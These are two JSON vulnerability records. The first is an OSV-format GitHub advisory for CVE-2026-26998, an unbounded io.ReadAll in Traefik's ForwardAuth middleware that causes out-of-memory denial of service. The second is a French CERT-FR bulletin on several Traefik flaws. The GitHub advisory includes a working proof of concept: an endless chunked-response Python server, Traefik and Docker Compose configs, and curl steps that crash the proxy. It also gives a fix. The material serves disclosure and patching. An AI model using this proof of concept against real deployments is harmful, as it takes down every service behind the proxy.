{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.37"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T18:23:25Z",
    "nvd_published_at": "2026-03-05T19:16:05Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.\n\nWhen Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no `maxResponseBodySize` configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.\n\nThis results in a denial of service for all routes served by the affected Traefik instance.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.38\n- https://github.com/traefik/traefik/releases/tag/v3.6.9\n\n## Workarounds\n\nNo workaround available.\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nThe ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.\n\n### Details\n\nIn pkg/middlewares/auth/forward.go, line 213:\n\n    body, readError := io.ReadAll(forwardResponse.Body)\n\nWhen the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.\n\nTraefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):\n\n    logger.Warn().Msgf(\"ForwardAuth \u0027maxBodySize\u0027 is not configured with \u0027forwardBody: true\u0027, allowing unlimited request body size ...\")\n\nHowever, the response body path has no equivalent protection \u2014 no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.\n\n| Direction | Protection | Code |\n|-----------|-----------|------|\n| Request body to auth server | maxBodySize config + warning log | forward.go:85-95 |\n| Auth server response to Traefik | None | forward.go:213 |\n\n### PoC\n\n1. Create a malicious auth server (auth_infinite.py):\n\n    from http.server import BaseHTTPRequestHandler, HTTPServer\n\n    class InfiniteAuth(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(200)\n            self.send_header(\"Transfer-Encoding\", \"chunked\")\n            self.end_headers()\n            chunk = b\"A\" * (64 * 1024)\n            try:\n                while True:\n                    self.wfile.write(f\"{len(chunk):x}\\r\\n\".encode())\n                    self.wfile.write(chunk + b\"\\r\\n\")\n                    self.wfile.flush()\n            except BrokenPipeError:\n                pass\n\n    HTTPServer((\"0.0.0.0\", 9000), InfiniteAuth).serve_forever()\n\n2. Traefik dynamic config (dynamic.yml):\n\n    http:\n      routers:\n        protected:\n          entryPoints: [web]\n          rule: \"PathPrefix(\u0027/admin\u0027)\"\n          middlewares: [auth]\n          service: whoami\n      middlewares:\n        auth:\n          forwardAuth:\n            address: \"http://auth:9000/auth\"\n      services:\n        whoami:\n          loadBalancer:\n            servers:\n              - url: \"http://whoami:80\"\n\n3. Docker Compose (docker-compose.yml):\n\n    services:\n      traefik:\n        image: traefik:v3.6\n        command:\n          - --entrypoints.web.address=:8000\n          - --providers.file.filename=/etc/traefik/dynamic.yml\n        ports:\n          - \"8000:8000\"\n        volumes:\n          - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n        deploy:\n          resources:\n            limits:\n              memory: 512M\n        depends_on: [auth, whoami]\n      auth:\n        image: python:3.12-slim\n        command: [\"python\", \"/app/auth_infinite.py\"]\n        volumes:\n          - ./auth_infinite.py:/app/auth_infinite.py:ro\n      whoami:\n        image: traefik/whoami:v1.11\n\n4. Reproduce:\n\n    docker compose up -d\n    docker stats --no-stream traefik  # ~14 MiB\n    curl -s -o /dev/null http://localhost:8000/admin\n    docker inspect traefik --format \u0027{{.State.OOMKilled}}\u0027  # true\n    docker inspect traefik --format \u0027{{.State.ExitCode}}\u0027    # 137 (SIGKILL)\n\nObserved results:\n\n| Scenario | Memory |\n|----------|--------|\n| Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) |\n| 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) |\n| 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) |\n| 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |\n\nAfter OOM kill, all routes on the entrypoint become unreachable \u2014 complete service outage.\n\n### Impact\n\nThis is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.\n\nRealistic attack scenarios include:\n\n- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers)\n- Compromised or buggy auth servers that return unexpected large responses\n- Defense in depth: even trusted auth servers should not be able to crash the proxy\n\n### Suggested Fix\n\nApply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:\n\n    const defaultMaxAuthResponseSize int64 = 1 \u003c\u003c 20 // 1 MiB\n    limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize)\n    body, readError := io.ReadAll(limitedBody)\n\nOptionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.\n\n\u003c/details\u003e",
  "id": "GHSA-fw45-f5q2-2p4x",
  "modified": "2026-03-05T22:28:55Z",
  "published": "2026-03-04T18:23:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-fw45-f5q2-2p4x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26998"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik has unbounded io.ReadAll on auth server response body that causes OOM DOS"
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Traefik versions 2.x ant\u00e9rieures \u00e0 2.11.38",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    },
    {
      "description": "Traefik versions 3.x ant\u00e9rieures \u00e0 3.6.9",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-26998",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26998"
    },
    {
      "name": "CVE-2026-29054",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29054"
    },
    {
      "name": "CVE-2026-26999",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26999"
    }
  ],
  "initial_release_date": "2026-03-05T00:00:00",
  "last_revision_date": "2026-03-05T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0236",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-03-05T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans Traefik. Elles permettent \u00e0 un attaquant de provoquer un d\u00e9ni de service \u00e0 distance et un contournement de la politique de s\u00e9curit\u00e9.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans Traefik",
  "vendor_advisories": [
    {
      "published_at": "2026-03-04",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-fw45-f5q2-2p4x",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-fw45-f5q2-2p4x"
    },
    {
      "published_at": "2026-03-04",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-xw98-5q62-jx94",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-xw98-5q62-jx94"
    },
    {
      "published_at": "2026-03-04",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-92mv-8f8w-wq52",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-92mv-8f8w-wq52"
    }
  ]
}